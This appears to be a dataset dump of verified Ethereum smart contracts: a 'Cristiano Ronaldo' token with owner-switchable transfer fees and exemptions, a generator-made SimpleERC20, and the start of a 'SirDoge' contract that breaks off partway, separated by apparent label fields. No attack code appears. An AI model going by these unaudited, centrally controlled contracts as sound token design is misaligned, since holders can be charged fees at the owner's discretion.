function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity 0.8.4;
contract CristianoRonaldo is ERC20, Owned {
uint256 public minSupply;
address public beneficiary;
bool public feesEnabled;
mapping(address => bool) public isExcludedFromFee;
event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount);
event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary);
event FeesEnabledUpdated(bool enabled);
event ExcludedFromFeeUpdated(address account, bool excluded);
constructor() ERC20("Cristiano Ronaldo", "CR7 \xE2\x9A\xBD") {
minSupply = 100000000 ether;
uint256 totalSupply = 1000000000000000 ether;
feesEnabled = false;
_mint(_msgSender(), totalSupply);
isExcludedFromFee[msg.sender] = true;
isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
beneficiary = msg.sender;
}
/**
* @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary
* @dev after a certain threshold, try to swap collected fees automatically
* @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(
recipient != address(this),
"Cannot send tokens to token contract"
);
if (
!feesEnabled ||
isExcludedFromFee[sender] ||
isExcludedFromFee[recipient]
) {
ERC20._transfer(sender, recipient, amount);
return;
}
// burn tokens if min supply not reached yet
uint256 burnedFee = calculateFee(amount, 25);
if (totalSupply() - burnedFee >= minSupply) {
_burn(sender, burnedFee);
} else {
burnedFee = 0;
}
uint256 transferFee = calculateFee(amount, 200);
ERC20._transfer(sender, beneficiary, transferFee);
ERC20._transfer(sender, recipient, amount - transferFee - burnedFee);
}
function calculateFee(uint256 _amount, uint256 _fee)
public
pure
returns (uint256)
{
return (_amount * _fee) / 10000;
}
/**
* @notice allows to burn tokens from own balance
* @dev only allows burning tokens until minimum supply is reached
* @param value amount of tokens to burn
*/
function burn(uint256 value) public {
_burn(_msgSender(), value);
require(totalSupply() >= minSupply, "total supply exceeds min supply");
}
/**
* @notice sets minimum supply of the token
* @dev only callable by owner
* @param _newMinSupply new minimum supply
*/
function setMinSupply(uint256 _newMinSupply) public onlyOwner {
emit MinSupplyUpdated(minSupply, _newMinSupply);
minSupply = _newMinSupply;
}
/**
* @notice sets recipient of transfer fee
* @dev only callable by owner
* @param _newBeneficiary new beneficiary
*/
function setBeneficiary(address _newBeneficiary) public onlyOwner {
setExcludeFromFee(_newBeneficiary, true);
emit BeneficiaryUpdated(beneficiary, _newBeneficiary);
beneficiary = _newBeneficiary;
}
/**
* @notice sets whether account collects fees on token transfer
* @dev only callable by owner
* @param _enabled bool whether fees are enabled
*/
function setFeesEnabled(bool _enabled) public onlyOwner {
emit FeesEnabledUpdated(_enabled);
feesEnabled = _enabled;
}
/**
* @notice adds or removes an account that is exempt from fee collection
* @dev only callable by owner
* @param _account account to modify
* @param _excluded new value
*/
function setExcludeFromFee(address _account, bool _excluded)
public
onlyOwner
{
isExcludedFromFee[_account] = _excluded;
emit ExcludedFromFeeUpdated(_account, _excluded);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
/**
* SPDX-License-Identifier: SirDoge
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
